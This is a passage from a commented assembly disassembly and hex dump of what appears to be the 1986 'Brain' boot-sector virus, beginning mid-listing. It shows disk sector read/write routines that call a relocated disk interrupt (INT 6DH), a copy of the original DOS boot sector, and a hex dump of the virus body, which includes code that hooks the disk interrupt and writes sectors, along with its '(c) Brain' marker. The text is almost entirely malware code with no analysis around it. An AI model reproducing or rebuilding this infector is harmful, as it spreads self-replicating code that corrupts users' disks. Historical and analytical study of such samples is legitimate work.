    JMP  DO_SECTORS          ;
                        ;
;-----------------------------------------------------------------------;
; READ OR WRITE SOME SECTORS WITH A RETRY COUNT OF 4            ;
;                                           ;
; ON ENTRY:   DS:[601H] = COMMAND                     ;
;        DS:[602H] = SECTOR COUNT                ;
;        DS:[226H] = DRIVE                       ;
;        DS:[0009] = HEAD                        ;
;        DS:[000A] = SECTOR                      ;
;        DS:[000B] = TRACK                       ;
;-----------------------------------------------------------------------;
DO_SECTORS:                  ;0870
    PUSH BX             ;
    MOV  CX,4           ;RETRY COUNT = 4
                        ;
D1S_10:  PUSH CX             ;
    MOV  DH,[9]              ;HEAD = 9
    MOV  DL,[226H]      ;DRIVE
    MOV  CX,[10]             ;TRACK/SECT
    MOV  AX,[602H]      ;COMMAND/COUNT
    INT  6DH            ;(SAME AS INT 13)
    JNB  D1S_80              ;
                        ;
    MOV  AH,00               ;RESET
    INT  6DH            ;(SAME AS INT 13)
    POP  CX             ;
    LOOP D1S_10              ;TRY AGAIN
    POP  BX             ;
    POP  BX             ;
    STC                 ;RETURN ERROR
    RET                 ;
                        ;
D1S_80:  POP  CX             ;0893 59
    POP  BX             ;0894 5B
    RET                 ;0895 C3
                        ;
;-----------------------------------------------------------------------;
; INC. NEXT SECTOR                               ;
; ON ENTRY:   DS:[0009] = HEAD                        ;
;        DS:[000A] = SECTOR                      ;
;        DS:[000B] = TRACK                       ;
;-----------------------------------------------------------------------;
NEXT_SECTOR:                 ;0896
    INC  Byte Ptr [10]       ;SECTOR
    CMP  Byte Ptr [10],10    ;
    JNZ  NS_90               ;
    MOV  Byte Ptr [10],1          ;
    INC  Byte Ptr [9]        ;HEAD
    CMP  Byte Ptr [9],2      ;
    JNZ  NS_90               ;
    MOV  Byte Ptr [9],0      ;
    INC  Byte Ptr [11]       ;TRACK
NS_90:   RET                 ;
                        ;
;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
    DB   64             ;08BB 'dtk'
    JZ   ;091F               ;
                        ;
;---------------------------------------;
    JMP  CONTINUE_4          ;08FA
                        ;
         DB   'IBM X3.2'     ;OEM NAME AND VERSION
                        ;
         DW   512       ;BYTES PER SECTOR
         DB   2         ;SECTORS PER ALLOCATION UNIT
         DW   1         ;RESERVED SECTORS
         DB   2         ;NUMBER OF FATS
         DW   112       ;NUMBER OF ROOT DIR ENTRIES
         DW   2D0H      ;SECTORS PER DISK
         DB   0FDH      ;MEDIA ID
         DW   2         ;SECTORS PER FAT
         DW   9         ;SECTORS PER TRACK
         DW   2         ;NUMBER OF HEADS
         DW   0         ;HIDDEN SECTORS
                        ;
;---------------------------------------;
         DB   0,0
         DB   0,0,0,0,0,0,0,0,0,0,0,0,0,0

         DB   002H,0DFH
         DB   002H,025H,002H,012H
         DB   02AH,0FFH,050H,0F6H
         DB   000H,002H,

;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
    INT  19H            ;REBOOT
                        ;
L08FA:   CLI                 ;08FA FA
    XOR  AX,AX               ;08FB 33C0
    MOV  ES,AX               ;08FD 8EC0
    MOV  SS,AX               ;08FF 8ED0
    MOV  SP,7C00             ;0901 BC007C
    MOV  DS,AX               ;0904 8ED8
    MOV  BX,07C0             ;0906 BBC007
    MOV  Word Ptr [0078],002F     ;0909 C70678002F00
    MOV  [007A],BX      ;090F 891E7A00
    MOV  DS,BX               ;0913 8EDB
    MOV  DX,[001E]      ;0915 8B161E00
    MOV  [0020],DL      ;0919 88162000
    INT  13             ;GO TO DISK
    JNB  ;0924               ;091F 7303
    JMP  ;09FC               ;0921 E9D800
    MOV  SI,000B             ;0924 BE0B00
    MOV  CX,[SI]             ;0927 8B0C
    SHR  CH,1           ;0929 D0ED
    XCHG CH,CL               ;092B 86E9
    MOV  [002B],CX      ;092D 890E2B00
    MOV  AL,[SI+05]          ;0931 8A4405
    XOR  AH,AH               ;0934 32E4
    MUL  Word Ptr [SI+0B]    ;0936 F7640B
    ADD  AX,[SI+03]          ;0939 034403
    ADD  AX,[SI+11]          ;093C 034411
    MOV  [0024],AX      ;093F A32400
    MOV  BX,7E00             ;0942 BB007E
    CALL 0A24           ;0945 E8DC00
    MOV  BX,ES               ;0948 8CC3
    MOV  AX,0070             ;094A B87000
    MOV  ES,AX               ;094D 8EC0
    MOV  AX,0020             ;094F B82000
    MUL  Word Ptr [SI+06]    ;0952 F76406
    MOV  CX,[SI]             ;0955 8B0C
    ADD  AX,CX               ;0957 03C1
    DEC  AX             ;0959 48
    DIV  CX             ;095A F7F1
    ADD  [0024],AX      ;095C 01062400
    MOV  CL,[002A]      ;0960 8A0E2A00
    MOV  AX,[0024]      ;0964 A12400
    CALL ;0971               ;0967 E80700
    PUSH ES             ;096A 06
    POP  DS             ;096B 1F
    JMP  0070:0000      ;096C EA00007000
                        ;
;HEAVY NUMBER CRUNCHING HERE      ;
    PUSH BX             ;0971 53
    PUSH AX             ;0972 50
    MOV  AL,CL               ;0973 8AC1
    MUL  Byte Ptr [002B]          ;0975 F6262B00
    MOV  [0029],AL      ;0979 A22900
    POP  AX             ;097C 58
    MUL  Word Ptr [002B]          ;097D F7262B00
    DIV  Word Ptr [SI+0D]    ;0981 F7740D
    INC  DL             ;0984 FEC2
    MOV  [0028],DL      ;0986 88162800
    PUSH DX             ;098A 52
    XOR  DX,DX               ;098B 33D2
    DIV  Word Ptr [SI+0F]    ;098D F7740F
    MOV  [0021],DL      ;0990 88162100
    MOV  [0026],AX      ;0994 A32600
    POP  DX             ;0997 5A
    MOV  CL,[0029]      ;0998 8A0E2900
    ADD  DL,CL               ;099C 02D1
    MOV  AX,[SI+0D]          ;099E 8B440D
    INC  AX             ;09A1 40
    CMP  DL,AL               ;09A2 3AD0
    JBE  ;09AC               ;09A4 7606
    SUB  AL,[0028]      ;09A6 2A062800
    MOV  CL,AL               ;09AA 8AC8
    MOV  AL,CL               ;09AC 8AC1
    MOV  DX,[0026]      ;09AE 8B162600
    MOV  CL,06               ;09B2 B106
    SHL  DH,CL               ;09B4 D2E6
    OR   DH,[0028]      ;09B6 0A362800
    MOV  CX,DX               ;09BA 8BCA
    XCHG CH,CL               ;09BC 86E9
    MOV  DX,[0020]      ;09BE 8B162000
    MOV  AH,02               ;READ SECTOR
    PUSH AX             ;
    INT  13             ;
    POP  AX             ;09C7 58
    JB   ;09FC               ;09C8 7232
    SUB  [0029],AL      ;09CA 28062900
    JBE  ;09F5               ;09CE 7625
    CBW                 ;09D0 98
    MUL  Word Ptr [002D]          ;09D1 F7262D00
    ADD  BX,AX               ;09D5 03D8
    INC  Byte Ptr [0021]          ;09D7 FE062100
    MOV  DL,[0021]      ;09DB 8A162100
    CMP  DL,[SI+0F]          ;09DF 3A540F
    MOV  DL,01               ;09E2 B201
    MOV  [0028],DL      ;09E4 88162800
    JB   ;0998               ;09E8 72AE
    MOV  Byte Ptr [0021],00  ;09EA C606210000
    INC  Word Ptr [0026]          ;09EF FF062600
    JMP  ;0998               ;09F3 EBA3
    POP  BX             ;09F5 5B
    RET                 ;09F6 C3
                        ;
;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
    MOV  SI,01B3             ;09F7 BEB301
    JMP  ;09FF               ;09FA EB03
    MOV  SI,01C5             ;09FC BEC501
    CALL L0A15               ;09FF E81300
    MOV  SI,01D4             ;0A02 BED401
    CALL L0A15               ;0A05 E80D00
    MOV  AH,00               ;0A08 B400
    INT  16             ;0A0A CD16
    MOV  AH,01               ;0A0C B401
    INT  16             ;0A0E CD16
    JNZ  0A0C           ;0A10 75FA
    JMP  ;08F8               ;0A12 E9E3FE
                        ;
L0A15:   LODSB                    ;L0A15
    OR   AL,AL               ;0A16 0AC0
    JZ   0A23           ;0A18 7409
    MOV  AH,0E               ;0A1A B40E
    MOV  BX,0007             ;0A1C BB0700
    INT  10             ;0A1F CD10
    JMP  L0A15               ;0A21 EBF2
    RET                 ;0A23 C3
                        ;
;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;

    MOV  CL,01               ;0A24 B101
    CALL ;0971               ;0A26 E848FF
    PUSH SI             ;0A29 56
    MOV  DI,BX               ;0A2A 8BFB
    MOV  AX,ES:[BX+1C]       ;0A2C 268B471C
    XOR  DX,DX               ;0A30 33D2
    DIV  Word Ptr [SI]       ;0A32 F734
    INC  AL             ;0A34 FEC0
    MOV  [002A],AL      ;0A36 A22A00
    MOV  SI,019D             ;0A39 BE9D01
    MOV  CX,000B             ;0A3C B90B00
    REPZ                ;0A3F F3
    CMPSB                    ;0A40 A6
    JNZ  ;09F7               ;0A41 75B4
    MOV  AX,ES:[BX+3A]       ;0A43 268B473A
    MOV  [0022],AX      ;0A47 A32200
    MOV  DI,BX               ;0A4A 8BFB
    ADD  DI,+20              ;0A4C 83C720
    MOV  SI,01A8             ;0A4F BEA801
    MOV  CX,000B             ;0A52 B90B00
    REPZ                ;0A55 F3
    CMPSB                    ;0A56 A6
    JNZ  ;09F7               ;0A57 759E
    POP  SI             ;0A59 5E
    RET                 ;0A5A C3
                        ;
;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
CODE     ENDS                ;
    END                 ;

0390                                         49 42 4D               IBM
03A0  42 49 4F 20 20 43 4F 4D-49 42 4D 44 4F 53 20 20  BIO  COMIBMDOS  
03B0  43 4F 4D 0D 0A 4E 6F 6E-2D 53 79 73 74 65 6D 20  COM..Non-System 
03C0  64 69 73 6B 00 0D 0A 42-4F 4F 54 20 66 61 69 6C  disk...BOOT fail
03D0  75 72 65 00 0D 0A 52 65-70 6C 61 63 65 20 61 6E  ure...Replace an
03E0  64 20 70 72 65 73 73 20-61 6E 79 20 6B 65 79 20  d press any key 
03F0  77 68 65 6E 20 72 65 61-64 79 00 90 90 90 55 AA  when ready....U*
0400  EB 26 28 63 29 20 31 39-38 36 20 42 61 73 69 74  k&(c) 1986 Basit
0410  20 26 20 41 6D 6A 61 64-73 20 28 70 76 74 29 20   & Amjads (pvt) 
0420  4C 74 64 20 00 04 00 00-2E C6 06 25 02 1F 33 C0  Ltd .....F.%..3@
0430  8E D8 A1 4C 00 A3 B4 01-A1 4E 00 A3 B6 01 B8 76  .X!L.#4.!N.#6.8v
0440  02 A3 4C 00 8C C8 A3 4E-00 B9 04 00 33 C0 8E C0  .#L..H#N.9..3@.@
0450  51 2E 8A 36 06 00 B2 00-2E 8B 0E 07 00 B8 01 02  Q..6..2......8..
0460  BB 00 7C CD 6D 73 09 B4-00 CD 6D 59 E2 E2 CD 18  ;.|Mms.4.MmYbbM.
0470  EA 00 7C 00 00 90 FB 80-FC 02 75 18 80 FA 02 77  j.|...{.|.u..z.w
0480  13 80 FD 00 75 05 80 FE-00 74 0C 2E FE 0E 25 02  ..}.u..~.t..~.%.
0490  75 02 EB 03 E9 A5 00 2E-C6 06 27 02 00 2E C6 06  u.k.i%..F.'...F.
04A0  25 02 04 50 53 51 52 2E-88 16 26 02 B9 04 00 51  %..PSQR...&.9..Q
04B0  B4 00 CD 6D 72 15 B6 00-B9 01 00 BB BE 06 06 8C  4.Mmr.6.9..;>...
04C0  C8 8E C0 B8 01 02 CD 6D-07 73 06 59 E2 E1 EB 2F  H.@8..Mm.s.Ybak/
04D0  90 59 2E A1 C2 06 3D 34-12 75 08 2E C6 06 27 02  .Y.!B.=4.u..F.'.
04E0  01 EB 20 1E 06 8C C8 8E-D8 8E C0 56 E8 15 03 72  .k ...H.X.@Vh..r
04F0  09 2E C6 06 27 02 02 E8-B8 01 5E 07 1F 73 04 B4  ..F.'..h8.^..s.4
0500  00 CD 6D 5A 59 5B 58 83-F9 01 75 30 80 FE 00 75  .MmZY[X.y.u0.~.u
0510  2B 2E 80 3E 27 02 01 75-11 2E 8B 0E C5 06 2E 8B  +..>'..u....E...
0520  16 C3 06 2E 8A 16 26 02-EB 12 2E 80 3E 27 02 02  .C....&.k...>'..
0530  75 0A 2E 8B 0E 07 00 2E-8A 36 06 00 CD 6D CA 02  u........6..MmJ.
0540  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0550  EB 25 90 03 00 20 28 63-29 20 31 39 38 36 20 42  k%... (c) 1986 Basit & Amjads (pvt) Ltd
0560  61 73 69 74 20 26 20 41-6D 6A 61 64 73 20 28 70  
0570  76 74 29 20 4C 74 64 E8-AD 00 A1 BE 06 3D FD FF  h-.!>.=}.
0580  74 04 B0 03 F9 C3 B9 37-00 C7 06 53 03 00 00 E8  t.0.yC97.G.S...h
0590  66 00 3D 00 00 75 0E FF-06 53 03 83 3E 53 03 03  f.=..u...S..>S..
05A0  75 09 EB 12 90 C7 06 53-03 00 00 41 81 F9 63 01  u.k..G.S...A.yc.
05B0  75 DD B0 01 F9 C3 B2 03-E8 10 00 49 FE CA 75 F8  u]0.yC2.h..I~Jux
05C0  41 E8 9A 00 E8 66 00 B0-00 F8 C3 51 52 BE BE 06  Ah..hf.0.xCQR>>.
05D0  8A C1 D0 E8 72 0E E8 42-00 8B 00 25 00 F0 0D F7  .APhr.hB...%.p.w
05E0  0F EB 0C 90 E8 34 00 8B-00 25 0F 00 0D 70 FF 89  .k..h4...%...p..
05F0  00 89 80 00 04 5A 59 C3-51 BE BE 06 8A C1 D0 E8  .....ZYCQ>>..APh
0600  72 0B E8 16 00 8B 00 25-FF 0F EB 0D 90 E8 0B 00  r.h....%..k..h..
0610  8B 00 25 F0 FF B1 04 D3-E8 59 C3 52 B8 03 00 F7  ..%p.1.ShYCR8..w
0620  E1 D1 E8 8B D8 5A C3 B4-02 E8 07 00 C3 B4 03 E8  aQh.XZC4.h..C4.h
0630  01 00 C3 B9 04 00 51 50-B4 00 CD 6D 58 72 14 BB  ..C9..QP4.MmXr.;
0640  BE 06 B0 04 B6 00 8A 16-26 02 B9 02 00 50 CD 6D  >.0.6...&.9..PMm
0650  58 73 09 59 E2 E0 58 58-B0 02 F9 C3 59 C3 51 83  Xs.Yb`XX0.yCYCQ.
0660  E9 02 D1 E1 83 C1 0C 8B-C1 B1 12 F6 F1 A2 08 00  i.Qa.A..A1.vq"..
0670  C6 06 06 00 00 FE C4 80-FC 09 76 08 80 EC 09 C6  F....~D.|.v..l.F
0680  06 06 00 01 88 26 07 00-59 C3 00 00 00 00 00 00  .....&..YC......
0690  03 6C 00 03 03 BE 0E 01-00 00 01 E0 D8 9D D7 E0  .l...>.....`X.W`
06A0  9F 8D 98 9F 8E E0 20 28-63 29 20 42 72 61 69 6E  .....` (c) Brain
06B0  20 24 E8 DB 00 72 0A 57-E8 1F 00 5F 72 03 E8 D7   $h[.r.Wh.._r.hW
06C0  00 C3 BB 9B 04 B9 0B 00-8A 07 F6 D8 88 04 46 43  .C;..9....vX..FC
06D0  E2 F6 B0 08 88 04 F8 C3-C6 06 C7 06 91 04 6C 00  bv0...xCF.G...l.
06E0  BE FE 06 89 16 93 04 A1-91 04 D1 E8 A3 97 04 D1  >~.....!..Qh#..Q
06F0  E8 A3 95 04 91 80 E1 43-8B 3E 95 04 81 C7 E3 01  h#....aC.>...Gc.
0700  8A 04 3C 00 74 15 8A 44-0B 24 08 3C 08 74 0C 83  ..<.t..D.$.<.t..
0710  C6 20 FF 0E 91 04 75 E8-F9 C3 8B 8B 1D 33 1E 97  F ....uhyC...3..
0720  04 89 36 97 04 FA 8C D0-A3 93 04 89 26 95 04 8C  ..6..z.P#...&...
0730  C8 8E D0 8B 26 97 04 83-C4 0C B1 51 81 C2 4C 44  H.P.&...D.1Q.BLD
0740  BF 55 25 B9 03 0C F3 A7-B8 46 0B B9 03 00 D3 C0  ?U%9..s'8F.9..S@
0750  A3 97 04 B9 05 00 BA 08-00 81 2E 97 04 10 52 FF  #..9..:.......R.
0760  36 97 04 8A 27 43 8A D4-D0 E2 72 F7 8A 17 43 8A  6...'C.TPbrw..C.
0770  C2 D0 E2 72 F7 05 1D 1D-50 FF 06 97 04 73 01 EA  BPbrw...P....s.j
0780  E2 E1 8B 26 95 04 A1 93-04 8E D0 FB 02 32 F8 C3  ba.&..!...P{.2xC
0790  C6 06 90 04 02 EB 09 90-C6 06 90 04 03 EB 01 90  F....k..F....k..
07A0  B6 00 8A 16 26 02 B9 06-00 8A 26 90 04 B0 04 BB  6...&.9...&..0.;
07B0  BE 06 E8 15 00 72 12 B9-01 00 B6 01 8A 26 90 04  >.h..r.9..6..&..
07C0  B0 03 81 C3 00 08 E8 01-00 C3 A3 93 04 89 1E 95  0..C..h..C#.....
07D0  04 89 0E 97 04 89 16 99-04 B9 04 00 51 B4 00 CD  .........9..Q4.M
07E0  6D 72 13 A1 93 04 8B 1E-95 04 8B 0E 97 04 8B 16  mr.!............
07F0  99 04 CD 6D 73 05 59 E2-E3 F9 C3 59 C3 00 00 00  ..Mms.YbcyCYC...
0800  03 00 01 03 E8 49 FD 72-54 C7 06 0A 00 01 00 C6  ....hI}rTG.....F
0810  06 09 00 00 BB BE 06 E8-44 00 BB BE 06 A1 07 00  ....;>.hD.;>.!..
0820  A3 0A 00 8A 26 06 00 88-26 09 00 E8 39 00 E8 65  #...&...&..h9.he
0830  00 B9 05 00 BB 00 02 89-0E 00 06 E8 29 00 E8 55  .9..;......h).hU
0840  00 81 C3 00 02 8B 0E 00-06 E2 EC C6 06 09 00 00  ..C......blF....
0850  C7 06 0A 00 01 00 BB 00-00 E8 0B 00 F8 C3 C7 06  G.....;..h..xCG.
0860  02 06 01 02 EB 0A 90 C7-06 02 06 01 03 EB 01 90  ....k..G.....k..
0870  53 B9 04 00 51 8A 36 09-00 8A 16 26 02 8B 0E 0A  S9..Q.6....&....
0880  00 A1 02 06 CD 6D 73 0B-B4 00 CD 6D 59 E2 E5 5B  .!..Mms.4.MmYbe[
0890  5B F9 C3 59 5B C3 FE 06-0A 00 80 3E 0A 00 0A 75  [yCY[C~....>...u
08A0  19 C6 06 0A 00 01 FE 06-09 00 80 3E 09 00 02 75  .F....~....>...u
08B0  09 C6 06 09 00 00 FE 06-0B 00 C3 64 74 61 EB 3A  .F....~...Cdtak:
08C0  90 49 42 4D 20 58 33 2E-32 00 02 02 01 00 02 70  .IBM X3.2......p
08D0  00 D0 02 FD 02 00 09 00-02 00 00 00 00 00 00 00  .P.}............
08E0  00 00 00 00 00 00 00 00-00 00 00 00 02 DF 02 25  ............._.%
08F0  02 12 2A FF 50 F6 00 02-CD 19 FA 33 C0 8E C0 8E  ..*.Pv..M.z3@.@.
0900  D0 BC 00 7C 8E D8 BB C0-07 C7 06 78 00 2F 00 89  P<.|.X;@.G.x./..
0910  1E 7A 00 8E DB 8B 16 1E-00 88 16 20 00 CD 13 73  .z..[...... .M.s
0920  03 E9 D8 00 BE 0B 00 8B-0C D0 ED 86 E9 89 0E 2B  .iX.>....Pm.i..+
0930  00 8A 44 05 32 E4 F7 64-0B 03 44 03 03 44 11 A3  ..D.2dwd..D..D.#
0940  24 00 BB 00 7E E8 DC 00-8C C3 B8 70 00 8E C0 B8  $.;.~h\..C8p..@8
0950  20 00 F7 64 06 8B 0C 03-C1 48 F7 F1 01 06 24 00   .wd....AHwq..$.
0960  8A 0E 2A 00 A1 24 00 E8-07 00 06 1F EA 00 00 70  ..*.!$.h....j..p
0970  00 53 50 8A C1 F6 26 2B-00 A2 29 00 58 F7 26 2B  .SP.Av&+.").Xw&+
0980  00 F7 74 0D FE C2 88 16-28 00 52 33 D2 F7 74 0F  .wt.~B..(.R3Rwt.
0990  88 16 21 00 A3 26 00 5A-8A 0E 29 00 02 D1 8B 44  ..!.#&.Z..)..Q.D
09A0  0D 40 3A D0 76 06 2A 06-28 00 8A C8 8A C1 8B 16  .@:Pv.*.(..H.A..
09B0  26 00 B1 06 D2 E6 0A 36-28 00 8B CA 86 E9 8B 16  &.1.Rf.6(..J.i..
09C0  20 00 B4 02 50 CD 13 58-72 32 28 06 29 00 76 25   .4.PM.Xr2(.).v%
09D0  98 F7 26 2D 00 03 D8 FE-06 21 00 8A 16 21 00 3A  .w&-..X~.!...!.:
09E0  54 0F B2 01 88 16 28 00-72 AE C6 06 21 00 00 FF  T.2...(.r.F.!...
09F0  06 26 00 EB A3 5B C3 BE-B3 01 EB 03 BE C5 01 E8  .&.k#[C>3.k.>E.h
0A00  13 00 BE D4 01 E8 0D 00-B4 00 CD 16 B4 01 CD 16  ..>T.h..4.M.4.M.
0A10  75 FA E9 E3 FE AC 0A C0-74 09 B4 0E BB 07 00 CD  uzic~,.@t.4.;..M
0A20  10 EB F2 C3 B1 01 E8 48-FF 56 8B FB 26 8B 47 1C  .krC1.hH.V.{&.G.
0A30  33 D2 F7 34 FE C0 A2 2A-00 BE 9D 01 B9 0B 00 F3  3Rw4~@"*.>..9..s
0A40  A6 75 B4 26 8B 47 3A A3-22 00 8B FB 83 C7 20 BE  &u4&.G:#"..{.G >
0A50  A8 01 B9 0B 00 F3 A6 75-9E 5E C3 49 42 4D 42 49  (.9..s&u.^CIBMBI
0A60  4F 20 20 43 4F 4D 49 42-4D 44 4F 53 20 20 43 4F  O  COMIBMDOS  CO
0A70  4D 0D 0A 4E 6F 6E 2D 53-79 73 74 65 6D 20 64 69  M..Non-System di
0A80  73 6B 00 0D 0A 42 4F 4F-54 20 66 61 69 6C 75 72  sk...BOOT failur
0A90  65 00 0D 0A 52 65 70 6C-61 63 65 20 61 6E 64 20  e...Replace and 
0AA0  70 72 65 73 73 20 61 6E-79 20 6B 65 79 20 77 68  press any key wh
0AB0  65 6E 20 72 65 61 64 79-00 90 90 90 55 AA 00 00  en ready....U*..
0AC0  00 00 00 00 00 00 00 00-00 00 00 00 70 FF F7 7F  ............p.w.
0AD0  FF F7 7F FF 00 00 00 00-00 00 00 00 00 00 00 00  .w..............
0AE0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0AF0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0B00  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0B10  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0B20  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0B30  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0B40  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0B50  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0B60  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0B70  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0B80  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0B90  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0BA0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0BB0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0BC0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0BD0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0BE0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0BF0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0C00  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0C10  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0C20  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0C30  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0C40  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0C50  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0C60  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0C70  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0C80  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0C90  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0CA0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0CB0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 FD FF  ..............}.
0CC0  FF 03 40 00 05 60 00 07-80 00 09 A0 00 0B C0 00  ..@..`..... ..@.
0CD0  0D E0 00 0F 00 01 11 20-01 13 F0 FF 15 60 01 17  .`..... ..p..`..
0CE0  80 01 19 A0 01 1B C0 01-1D E0 01 1F 00 02 21 20  ... ..@..`....! 
0CF0  02 23 40 02 25 60 02 27-80 02 29 A0 02 2B C0 02  .#@.%`.'..) .+@.
0D00  2D E0 02 2F F0 FF 31 20-03 33 40 03 35 60 03 37  -`./p.1 .3@.5`.7
0D10  80 03 39 A0 03 3B C0 03-3D E0 03 3F 00 04 41 20  ..9 .;@.=`.?..A 
0D20  04 43 40 04 45 60 04 47-F0 FF F7 7F FF F7 0F 00  .C@.E`.Gp.w..w..
0D30  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0D40  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0D50  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0D60  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0D70  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0D80  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0D90  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0DA0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0DB0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0DC0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0DD0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0DE0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0DF0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................